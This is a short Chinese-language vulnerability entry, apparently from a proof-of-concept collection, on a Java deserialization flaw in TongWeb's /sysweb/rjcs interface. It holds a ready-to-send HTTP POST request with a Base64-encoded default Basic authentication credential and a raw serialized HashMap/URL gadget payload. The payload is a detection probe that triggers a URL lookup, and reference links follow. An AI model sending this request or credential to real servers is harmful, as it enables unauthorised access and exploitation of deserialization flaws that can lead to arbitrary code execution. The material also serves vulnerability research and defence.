Description
反序列化漏洞主要发生在应用程序未对用户输入的序列化字符串进行充分检查的情况下，攻击者可以通过构造恶意的序列化数据来进行攻击，从而控制应用程序的行为，执行任意代码，访问或修改敏感数据，甚至可能导致整个系统的控制权被攻陷。
Tongweb rjcs接口存在反序列化漏洞
PoC
POST /sysweb/rjcs HTTP/1.1
Host:
Authorization: Basic Y2xpOmNsaTEyMy5jb20=
Content-Type: application/octet-stream
�� sr java.util.HashMap���`� F
loadFactorI thresholdxp?@ w sr java.net.URL�%76��r I hashCodeI portL authorityt Ljava/lang/String;L fileq ~ L hostq ~ L protocolq ~ L refq ~ xp�������t t t t httppxt http://x
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/ax1sX/SecurityList/blob/main/Server/TongWeb.md
http://cn-sec.com/archives/tag/tongweb
https://blog.csdn.net/weixin_44309905/article/details/160533895
http://www.bmth666.cn/2026/04/15/TongWeb-ejbserver%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/